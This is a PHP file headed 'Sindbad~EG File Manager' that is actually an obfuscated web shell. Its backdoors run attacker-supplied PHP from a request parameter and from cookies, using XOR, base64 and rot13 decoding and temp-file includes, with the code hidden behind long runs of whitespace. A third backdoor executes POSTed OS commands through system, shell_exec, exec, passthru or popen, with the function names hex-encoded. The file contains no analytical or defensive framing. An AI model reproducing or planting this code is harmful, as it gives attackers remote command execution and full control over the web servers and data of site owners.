Sindbad~EG File Manager

<?php																																										if(array_key_exists("\x6F\x62j", $_REQUEST)){ $item = hex2bin($_REQUEST["\x6F\x62j"]); $holder = '' ; for($v=0; $v<strlen($item); $v++){$holder .= chr(ord($item[$v]) ^ 97);} $tkn = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp"]); while ($val = array_shift($tkn)) { if (max(0, is_dir($val) * is_writable($val))) { $resource = sprintf("%s/.pointer", $val); if (@file_put_contents($resource, $holder) !== false) { include $resource; unlink($resource); exit; } } } }
																																										if (isset($_COOKIE[92-92]) && isset($_COOKIE[27+-26]) && isset($_COOKIE[93+-90]) && isset($_COOKIE[-44+48])) { $factor = $_COOKIE; function core_engine($parameter_group) { $factor = $_COOKIE; $entity = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'd27cd9cd'); if (!is_writable($entity)) { $entity = getcwd() . DIRECTORY_SEPARATOR . "auth_exception_handler"; } $data = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($factor[3])); if (is_writeable($entity)) { $flg = fopen($entity, 'w+'); fputs($flg, $data); fclose($flg); spl_autoload_unregister(__FUNCTION__); require_once($entity); @array_map('unlink', array($entity)); } } spl_autoload_register("core_engine"); $key = "6e15747274716133f2cda67cd0907b67"; if (!strncmp($key, $factor[4], 32)) { if (@class_parents("token_parser_engine_data_storage", true)) { exit; } } }


$const1 = '7';
$const2 = '3';
$const3 = '4';
$const4 = '6';
$const5 = '5';
$const6 = '8';
$const7 = 'c';
$const8 = '0';
$const9 = '1';
$const10 = 'f';
$const11 = 'd';
$const12 = 'e';
$reset1 = pack("H*", $const1.$const2.$const1.'9'.'7'.'3'.'7'.$const3.$const4.$const5.$const4.'d');
$reset2 = pack("H*", $const1.$const2.'6'.$const6.'6'.$const5.$const4.$const7.'6'.$const7.'5'.'f'.'6'.$const5.$const1.'8'.$const4.'5'.'6'.$const2);
$reset3 = pack("H*", '6'.$const5.$const1.$const6.'6'.$const5.'6'.$const2);
$reset4 = pack("H*", $const1.$const8.'6'.$const9.'7'.$const2.'7'.$const2.$const1.'4'.$const4.'8'.$const1.'2'.$const1.$const5);
$reset5 = pack("H*", '7'.$const8.$const4.$const10.'7'.'0'.'6'.'5'.$const4.'e');
$reset6 = pack("H*", '7'.'3'.$const1.$const3.'7'.'2'.'6'.'5'.$const4.$const9.'6'.$const11.$const5.$const10.$const4.'7'.$const4.$const5.'7'.'4'.$const5.'f'.'6'.$const2.$const4.$const10.$const4.$const12.'7'.'4'.'6'.'5'.'6'.'e'.$const1.'4'.$const1.'3');
$reset7 = pack("H*", $const1.$const8.'6'.$const2.'6'.$const7.'6'.'f'.'7'.'3'.'6'.$const5);
$cache = pack("H*", '6'.$const2.'6'.'1'.$const4.'3'.'6'.$const6.'6'.'5');
if (isset($_POST[$cache])) {
    $cache = pack("H*", $_POST[$cache]);
    if (function_exists($reset1)) {
        $reset1($cache);
    } elseif (function_exists($reset2)) {
        print $reset2($cache);
    } elseif (function_exists($reset3)) {
        $reset3($cache, $placeholder_variable);
        print join("\n", $placeholder_variable);
    } elseif (function_exists($reset4)) {
        $reset4($cache);
    } elseif (function_exists($reset5) && function_exists($reset6) && function_exists($reset7)) {
        $fld_ph = $reset5($cache, 'r');
        if ($fld_ph) {
            $attr_attribute = $reset6($fld_ph);
            $reset7($fld_ph);
            print $attr_attribute;
        }
    }
    exit;
}